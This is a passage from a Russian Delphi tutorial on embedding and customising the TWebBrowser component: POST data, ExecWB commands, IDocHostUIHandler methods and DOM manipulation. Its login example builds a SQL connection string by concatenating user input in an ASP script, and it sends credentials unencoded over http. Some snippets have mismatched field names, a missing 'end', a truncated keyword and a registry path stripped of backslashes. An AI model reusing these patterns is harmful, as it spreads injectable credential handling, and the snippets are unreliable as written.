end;


Рассмотрим подробнее параметры, передаваемые в метод Navigate.

Первым параметром является строка с URL, указывающим адрес, из которого должна осуществляться загрузка. Поддерживаются все протоколы, доступные в IE, например file:// — загрузка файла, res:// — загрузка из ресурса.

Остальные параметры не являются обязательными и служат для передачи дополнительной информации (табл. 1).

Наиболее интересным является параметр PostData, позволяющий передать на Web-сервер данные, полученные в результате заполнения формы, если этот сервер требует HTTP — транзакции POST. Так, следующий фрагмент кода передает на сервер имя пользователя и пароль, заполненные в форме Delphi:

var
  LoginDialog: TLoginDialog;
  Flags, TargetFrameName, PostData, Headers: OleVariant;
  S: String;

...
with TLoginDialog.Create(Application) do 
try
  if ShowModal = mrOk then 
  begin
    S := Format(‘UserName=%s&Password=%s’, _
        [Edit1.Text, Edit2.Text]);
    PostData := VarArrayCreate([1, _
        Length(S) + 1], varByte);
    System.Move(S[1], VarArrayLock(PostData)^, _
        Length(S) + 1);
    VarArrayUnlock(PostData);
    Headers := 
      ‘Content-Type: application/x-www-form-urlencoded’#10#13;
    WebBrowser1.Navigate(‘http://intranetserver/secretpage’, Flags,
      TargetFrameName, PostData, Headers);
  end;
finally
  Free;
end;


Например, на Web-сервере этот запрос может быть обработан, следующим ASP-скриптом:

Dim sConnect
  Dim sUserName
  Dim sPassword

  sUserName = Request.Form(“User”)
  sPassword = Request.Form(“Pass”)

  sConnect = “Provider=SQLOLEDB.1;Persist Security Info=True;” & _
   “Initial Catalog=Katren;Data Source=DBSERVER;” & _
             “Password=” & sPassword & _
             “;User ID=” & sUserName
  Session(“ConnectString”) = sConnect

После того как данные получены, необходимо предоставить пользователю возможность работы с ними. Многие функции TWebBrowser доступны через метод ExecWB, предоставляющий простой способ обращения к интерфейсу IOleCommandTarget. Этот метод имеет такой вид:

procedure TWebBrowser.ExecWB(
  cmdID: OLECMDID;            // Идентификатор команды
  cmdexecopt: OLECMDEXECOPT;  // Параметры выполнения
  var pvaIn,                  // Дополнительные параметры,
  pvaOut: OleVariant          // зависящие от команды
); safecall;


CmdID может быть одной из констант OLECMDID, определенных в файле ShDocVw.pas.

Параметр cmdexecopt может принимать одно из четырех значений, приведенных в табл. 2.

Параметры pvaIn и pvaOut являются дополнительными и зависят от конкретной команды.

Имеется возможность запросить у TWebBrowser доступность той или иной команды при помощи функции:

function TWebBrowser.QueryStatusWB(
   cmdID: OLECMDID // Идентификатор команды
): OLECMDF; safecall;

Функция возвращает битовую маску из значений, приведенных в табл. 3.

Следовательно, можно настраивать интерфейс в зависимости от поддерживаемых текущей версией TWebBrowser возможностей:

var
  Flags: OLECMDF;

...

Flags := WebBrowser1.QueryStatusWB(OLECMDID_COPY);
ActionCopy.Visible := (Flags and OLECMDF_SUPPORTED) = 
  OLECMDF_SUPPORTED;
ActionCopy.Enabled := (Flags and OLECMDF_ENABLED) = 
  OLECMDF_ENABLED;


Для печати содержимого TWebBrowser служит команда OLECMDID_PRINT. Метод печати может выглядеть, в частности, следующим образом:

procedure TForm1.ActionPrintExecute(Sender: TObject);
var
  A, B: OleVariant;
  UserAction: Cardinal;
begin
  if Sender = ActionPrintWithSetup then
    UserAction := OLECMDEXECOPT_PROMPTUSER
  else
    UserAction := OLECMDEXECOPT_DONTPROMPTUSER;
  try
    WebBrowser1.ExecWB(OLECMDID_PRINT, UserAction, A, B);
  except
  end;
end;


Блок try … except … end необходим по той причине, что TWebBrowser при выполнении любой команды при помощи ExecWB генерирует исключение EOleException с кодом:

-2147221248 ($80040100) Trying to revoke _
a drop target that has not been registered.

Начиная с Internet Explorer 5 документированы дополнительные команды, поддерживаемые через интерфейс IOleCommandTarget. Они существенно расширяют возможности по управлению компонентом, однако недоступны либо не документированы в версии 4. Это создает определенные сложности при программировании. Так, чтобы организовать поиск внутри загруженной страницы, необходим следующий код:

const
  // Недокументированная константа
  CGID_IE4: TGUID = ‘{ed016940-bd5b-11cf-ba4e-00c04fd70816}’;
  // Документировано в IE5 SDK
  CGID_MSHTML: TGUID = ‘{DE4BA900-59CA-11CF-9592-444553540000}’;
  IDM_FIND = 67;

procedure TForm1.ActionFindExecute(Sender: TObject);
var
  A, B: OleVariant;
  Target: IOleCommandTarget;
  OleCmd: TOLECMD;
begin
  // Получаем интерфейс IOleCommandTarget
  Target := wbMain.Document as IOLECommandtarget;
  with OleCmd do
  begin
    cmdId := IDM_FIND;
    cmdf  := 0;
  end;
  // Запрашиваем, поддерживается ли команда
  Target.QueryStatus(@CGID_MSHTML, 1, @OleCmd, NIL);
  if (OleCmd.cmdf and OLECMDF_SUPPORTED) = OLECMDF_SUPPORTED then
    // Да, у нас IE5+, поэтому вызываем документированным способом
    Target.Exec(@CGID_MSHTML, IDM_FIND, 
      OLECMDEXECOPT_DODEFAULT, A, B)
  else
    // Нет, у нас IE4, поэтому вызываем недокументированным способом
    Target.Exec(@CGID_IE4, 1, OLECMDEXECOPT_DODEFAULT, A, B);
end;


Использование недокументированного вызова в данном случае оправданно, так как в версии 4 этот вызов уже не будет изменяться, а в версии 5 мы обнаруживаем и используем документированный метод. В то же время IE4 пока еще достаточно распространен, так что будет нецелесообразно полностью лишать программу возможности поиска на таких компьютерах.
Тонкая настройка

Если требуется более тонкая настройка компонента, то необходимо реализовать интерфейс IDocHostUIHandler, позволяющий программисту взять под контроль поведение TWebBrowser.

Интерфейс объявлен как:

type
  TDocHostInfo = packed record
    cbSize: ULONG;
    dwFlags: DWORD;
    dwDoubleClick: DWORD;
  end;

const
  DOCHOSTUIFLAG_DIALOG = 1;
  DOCHOSTUIFLAG_DISABLE_HELP_MENU = 2;
  DOCHOSTUIFLAG_NO3DBORDER = 4;
  DOCHOSTUIFLAG_SCROLL_NO = 8;
  DOCHOSTUIFLAG_DISABLE_SCRIPT_INACTIVE = 16;
  DOCHOSTUIFLAG_OPENNEWWIN = 32;
  DOCHOSTUIFLAG_DISABLE_OFFSCREEN = 64;
  DOCHOSTUIFLAG_FLAT_SCROLLBAR = 128;
  DOCHOSTUIFLAG_DIV_BLOCKDEFAULT = 256;
  DOCHOSTUIFLAG_ACTIVATE_CLIENTHIT_ONLY = 512;

const
  DOCHOSTUIDBLCLK_DEFAULT = 0;
  DOCHOSTUIDBLCLK_SHOWPROPERTIES = 1;
  DOCHOSTUIDBLCLK_SHOWCODE = 2;

type
  IDocHostUIHandler = interface(IUnknown)
    [‘{bd3f23c0-d43e-11cf-893b-00aa00bdce1a}’]
    function ShowContextMenu(const dwID: DWORD; const ppt: PPOINT;
      const pcmdtReserved: IUnknown; 
      const pdispReserved: IDispatch): HRESULT; stdcall;
    function GetHostInfo(var pInfo: TDOCHOSTUIINFO): HRESULT; 
      stdcall;
    function ShowUI(const dwID: DWORD; 
      const pActiveObject: IOleInPlaceActiveObject;
      const pCommandTarget: IOleCommandTarget; 
      const pFrame: IOleInPlaceFrame;
      const pDoc: IOleInPlaceUIWindow): HRESULT; stdcall;
    function HideUI: HRESULT; stdcall;
    function UpdateUI: HRESULT; stdcall;
    function EnableModeless(const fEnable: BOOL): HRESULT; stdcall;
    function OnDocWindowActivate(const fActivate: BOOL): HRESULT; 
      stdcall;
    function OnFrameWindowActivate(const fActivate: BOOL): HRESULT; 
      stdcall;
    function ResizeBorder(const prcBorder: PRECT;
      const pUIWindow: IOleInPlaceUIWindow;
      const fRameWindow: BOOL): HRESULT; stdcall;
    function TranslateAccelerator(const lpMsg: PMSG; 
      const pguidCmdGroup: PGUID;
      const nCmdID: DWORD): HRESULT; stdcall;
    function GetOptionKeyPath(var pchKey: POLESTR; 
      const dw: DWORD): HRESULT; stdcall;
    function GetDropTarget(const pDropTarget: IDropTarget;
      out ppDropTarget: IDropTarget): HRESULT; stdcall;
    function GetExternal(out ppDispatch: IDispatch): HRESULT; 
      stdcall;
    function TranslateUrl(const dwTranslate: DWORD; 
      const pchURLIn: POLESTR; var ppchURLOut: POLESTR): HRESULT;
      stdcall;
    function FilterDataObject(const pDO: IDataObject;
      out ppDORet: IDataObject): HRESULT; stdcall;
  end; 

Наследник TWebBrowser, реализующий этот интерфейс, должен быть объявлен так:

type
  TCustomizedWebBrowser = class(TWebBrowser, IDocHostUIHandler)
    // Реализация методов IDocHostUIHandler
  end;


На нашем CD-ROM приведен код такого компонента, реализующего минимальную функциональность. Вы можете использовать его как основу для создания своих расширенных наследников TWebBrowser.

А теперь рассмотрим наиболее интересные, с точки зрения программиста, методы интерфейса IDocHostUIHandler.

Начнем с метода ShowContextMenu:

function ShowContextMenu(const dwID: DWORD; const ppt: PPOINT;
  const pcmdtReserved: IUnknown; 
  const pdispReserved: IDispatch): HRESULT;


Эта функция вызывается в том случае, когда TWebBrowser должен показать контекстное меню. Если вы отображаете собственное меню или хотите подавить меню, то функция должна вернуть S_OK, а если меню должен показать TWebBrowser — то S_FALSE.

В функцию передаются следующие параметры:

1. DwID — идентификатор меню, который может принимать одно из следующих значений:

const
  CONTEXT_MENU_DEFAULT = 0;
  CONTEXT_MENU_IMAGE = 1;
  CONTEXT_MENU_CONTROL = 2;
  CONTEXT_MENU_TABLE = 3;
  CONTEXT_MENU_DEBUG = 4;
  CONTEXT_MENU_1DSELECT = 5;
  CONTEXT_MENU_ANCHOR = 6;
  CONTEXT_MENU_IMGDYNSRC = 7;


В зависимости от значения идентификатора вы можете вывести подходящее меню.

2. ppt — координаты, в которых должно быть показано меню.

3. pcmdtReserved — интерфейс IOleCommandTarget, позволяющий запросить состояние команд и их выполнение.

4. pdispReserved — интерфейс IDispatch объекта, для которого вызывается меню.

Простейшая реализация этого метода может выглядеть следующим образом:

function TcustomizedWebBrowser.ShowContextMenu(const dwID: DWORD;
  const ppt: PPOINT;  const pcmdtReserved: IUnknown; 
      const pdispReserved: IDispatch): HRESULT;
begin
  // Предполагаем, что поле FPopupMenu хранит ссылку
  // на компонент TPopupMenu
  if Assigned(FPopupMenu) then begin
    pmContext.Popup(ppt.X, ppt.Y);
    Result := S_OK;
  end 
  else Result := S_FALSE;
end;


Для полного запрета контекстного меню метод должен всегда возвращать S_OK.

Следующий метод, который мы рассмотрим — GetHostInfo:

unction GetHostInfo(var pInfo: TDocHostInfo): HRESULT; stdcall;

Приложение может заполнить структуру pInfo, определенную как:

TDocHostInfo = packed record
  cbSize: ULONG;
  dwFlags: DWORD;
  dwDoubleClick: DWORD;
end;


Здесь dwFlags — битовая маска из следующих флагов, приведенных в табл. 4, а dwDoubleClick задает реакцию на двойной щелчок мышью и может принимать одно из значений, приведенных в табл. 5.

Метод должен вернуть S_OK или код ошибки OLE.

Например, чтобы создать окно с плоскими полосами прокрутки и без трехмерной рамки, необходимо реализовать этот метод следующим образом:

function TCustomizedWebBrowser.GetHostInfo(
  var pInfo: TDocHostInfo): HRESULT; stdcall; 
begin
  with pInfo do
    dwFlags := dwFlags or DOCHOSTUIFLAG_NO3DBORDER or 
      DOCHOSTUIFLAG_FLAT_SCROLLBAR;
  Result := S_OK;
end;


Метод

function TranslateAccelerator(const lpMsg: TMsg;
  const pguidCmdGroup: TGUID; nCmdID: DWORD): HRESULT; stdcall;


позволяет перехватить исполнение команд и обработку «горячих» клавиш и заменить ее на свою.

Метод

function GetOptionKeyPath(var pchKey: PWideChar; 
  dwReserved: DWORD): HRESULT; stdcall;


позволяет задать путь в реестре, который TWebBrowser будет использовать для хранения настроек. Это дает возможность, в частности, сделать используемый в программе компонент независимым от текущих настроек Internet Explorer.

Путь должен содержаться в ключе реестра HKEY_CURRENT_USER.

Этот метод должен выделить память под строку функцией CoTackMemAlloc. Даже в случае ошибки параметр pchKey нужно инициализировать значением NIL или адресом строки. Метод возвращает S_OK в случае успеха, а в противном случае — S_FALSE.

Типичная реализация этого метода может выглядеть так:

function TCustomizedWebBrowser.GetOptionKeyPath(
  var pchKey: PWideChar;  dwReserved: DWORD): HRESULT;
var
  ResultLen: Integer;
begin
  Result := S_FALSE;
  // В поле TCustomizedWebBrowser.FOptionKeyPath: String 
  // хранится путь к настройкам
  if Length(FOptionKeyPath) > 0 then
  begin
    // Получаем длину строки UNICODE
    ResultLen := MultiByteToWideChar(CP_ACP, 0, 
      PChar(FOptionKeyPath), -1, NIL, 0);
    // Выделяем память под буфер
    pchKey := CoTaskMemAlloc(ResultLen * SizeOf(WideChar));
    // Если выделение успешно, копируем строку в буфер
    if Assigned(pchKey) then 
    begin
      MultiByteToWideChar(CP_ACP, 0, PChar(FOptionKeyPath), -1, 
        pchKey, ResultLen);
      Result := S_OK;
    end;
  end else begin
    // Свойство не задано — инициализируем параметр в NIL
    pchKey := NIL;
  end;
end;

Существует ряд настроек, которые, несмотря на наличие обработчика GetOptionKeyPath, в любом случае берут из стандартных параметров Internet Explorer. Наиболее важными из них являются колонтитулы, используемые при печати. В версиях Internet Explorer до 5.5 включительно единственным способом изменить (или подавить) колонтитулы является запись новых значений в ключ реестра:

HKCUSoftwareMicrosoftInternet ExplorerPageSetup

перед печатью и восстановление их после печати.

А теперь поговорим о методе

function GetExternal(var ppDispatch: IDispatch): HRESULT; stdcall;


Он позволяет вернуть указатель на реализованный в вашем приложении интерфейс IDispatch, который будет доступен для скриптов в TWebBrowser. Если вы не реализуете этот интерфейс, то параметр ppDispatch должен быть установлен равным NIL. Метод возвращает S_OK в случае успеха или код ошибки OLE в случае ошибки.

Методы этого интерфейса доступны из скриптов, которые выполняют в TWebBrowser следующим образом:

window.external.MethodName


Реализовать IDispatch можно, например, при помощи класса TAutoObject.

Метод TranslateURL позволяет изменить URL, по которому осуществляется загрузка страницы.

function TranslateURL(dwTranslate: DWORD; pchURLIn: PWideChar;
   var ppchURLOut: PWideChar): HRESULT; stdcall;


pchURLIn указывает на строку, содержащую исходный URL. Если ваше приложение осуществляет трансляцию, то оно должно выделить память под новое значение, используя функцию CoTaskMemAlloc, заполнить буфер новым значением URL и вернуть S_OK.

В противном случае вы должны присвоить ppchURLOut значение NIL и вернуть S_FALSE. При возникновении ошибки метод должен вернуть OLE-код ошибки.

Обработчик вызывается только при интерактивном переходе по ссылке из TWebBrowser и не вызывается при переходе с помощью метода Navigate.
Доступ к документной модели TWebBrowser

В Internet Explorer реализовано расширение HTML, называемое Dynamic HTML (DHTML). Эта модель представляет все элементы HTML-документа в виде набора коллекций объектов, доступных для изменения. Скрипты, встроенные в страницы и приложения и имеющие доступ к этим коллекциям, могут находить и изменять их элементы, а также добавлять новые, причем изменения будут немедленно отражены в окне TWebBrowser. Иерархическое объектное представление HTML-объектов называется DOM (Document Object Model).

Программисту DOM в элементе управления IE ActiveX доступна в виде набора COM-интерфейсов. Отправной точкой для доступа к ней служит свойство:

property Document: IDispatch;

Это свойство обеспечивает доступ к интерфейсу IHtmlDocument2, позволяющему работать с содержимым документа. Для получения интерфейса необходимо запросить его при помощи оператора as:

var
  Document: IHtmlDocument2;
...

Document := WebBrowser.Document as IHtmlDocument2;


Документ в DOM представляет собой набор коллекций элементов. Для доступа к коллекции служит интерфейс IHtmlElementCollection, а к элементу коллекции — IHtmlElement. Следующий пример выводит все тэги, имеющиеся в текущем документе и текст внутри тэгов:

procedure TForm1.Button1Click(Sender: TObject);
var
  HtmlDocument: IHtmlDocument2;
  HtmlCollection: IHtmlElementCollection;
  HtmlElement: IHtmlElement;
  I: Integer;
begin
  Memo1.Lines.Clear;
  HtmlDocument := WebBrowser.Document as IHtmlDocument2;
  HtmlCollection := HtmlDocument.All;
  for I := 0 to HtmlCollection.Length - 1 do begin
    HtmlElement := HtmlCollection.Item(i, 0) as IHtmlElement;
    Memo1.Lines.Add(HtmlElement.TagName + ‘ ‘ +
      HtmlElement.InnerText);
end;


Кроме того, возможно динамическое создание документов в памяти, без необходимости записи их на диск и вызова метода Navigate с протоколом ‘file://’

Проиллюстрируем работу с документной модели TWebBrowser на конкретном примере. Расположим на форме компоненты TWebBrowser, TMemo и три TButton, а потом создадим следующие обработчики событий:

uses MSHTML, ActiveX;


procedure TForm1.FormCreate(Sender: TObject);
begin
  // Инициализируем пустой документ в TWebBrowser
  WebBrowser1.Navigate(‘about:blank’);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Document: IHTMLDocument2;
  V: OleVariant;
begin
  // Этот метод переписывает в TWebBrowser HTML-
  // документ из TMemo
  Document := WebBrowser1.Document as IHtmlDocument2;
  V := VarArrayCreate([0, 0], varVariant);
  V[0] := Memo1.Text;
  Document.Write(PSafeArray(TVarData(v).VArray));
  Document.Close;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
  Document: IHTMLDocument2;
  Collection: IHTMLElementCollection;
  Element: IHTMLElement;
  I: Integer;
begin
  // Этот метод модифицирует текст документа при помощи DHTML
  Document := WebBrowser1.Document as IHtmlDocument2;
  Collection := Document.all;
  Collection := Collection.Tags(‘BODY’) as IHTMLElementCollection;
  Element := Collection.Item(NULL, 0) as IHTMLElement;
  Element.InnerText := ‘Modifyed by DHTML’;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  Document: IHTMLDocument2;
begin
  // Этот метод позволяет просмотреть в TMemo код HTML
  // документа из TWebBrowser
  Document := WebBrowser1.Document as IHtmlDocument2;
  Memo1.Text := (Document.all.Item(NULL, 0) 
    as IHTMLElement).OuterHTML;
end;


В Memo1.Lines запишем такой текст:

<HTML>
  <HEAD>
    <TITLE>Hello World</TITLE>
  </HEAD>
  <BODY>
Hello again !
  </BODY>
</HTML>


Итак, мы получили возможность динамически создавать HTML-документы и предоставлять их пользователю.

Добавлено: 14 Августа 2013 07:36:56 Добавил: Андрей Ковальчук